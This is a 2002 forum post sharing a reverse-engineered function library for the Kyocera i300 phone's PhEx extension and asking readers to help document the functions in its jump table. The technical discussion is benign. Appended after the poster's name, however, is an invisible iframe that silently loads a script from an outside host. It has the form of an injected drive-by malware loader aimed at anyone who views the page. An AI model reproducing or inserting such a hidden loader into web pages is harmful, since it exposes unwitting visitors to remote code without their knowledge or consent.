04-26-2002, 07:18 PM
|
|
|
Join Date: 01-21-2002
|
| Posts:
230 |
 |
|
PhEx Library 1.0
Attached you will find my latest contribution: The PhEx library.
When the i300 boots up, it installs the PhEx extension, which initializes the soft grafitti area nd the stat bar at the top of the screen. It also puts all relevant functions in a jump table and stores it in a feature.
This library provides function prototypes and definitons to the functions in the PhEx jump table.
I've tried to make sure that the function definitions line up properly with the functions in the jump table. If I made an error, you might find a function that does the wrong thing. Let me know.
I haven't explored all the functions and parameters. I'll leave that as an exercise for the reader. However, I have tried to make sure the parameter types, number of paramters, and return value types are correct based on the disassembly I've seen in PhEx.
Other samples expanding to the full screen which have involved opening the phExtn database directly should no longer be used, but rather, access the WinSetExtendedWindow, EvtEnableSoftKeys, etc. functions should be done through the jump table rather than through direct access to the database functions.
We need to document these functions. If you figure out how they work, what paramters they take, and what values they return, post your documentation here.
Jake<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
__________________
All About Jake
|
|
|
|
|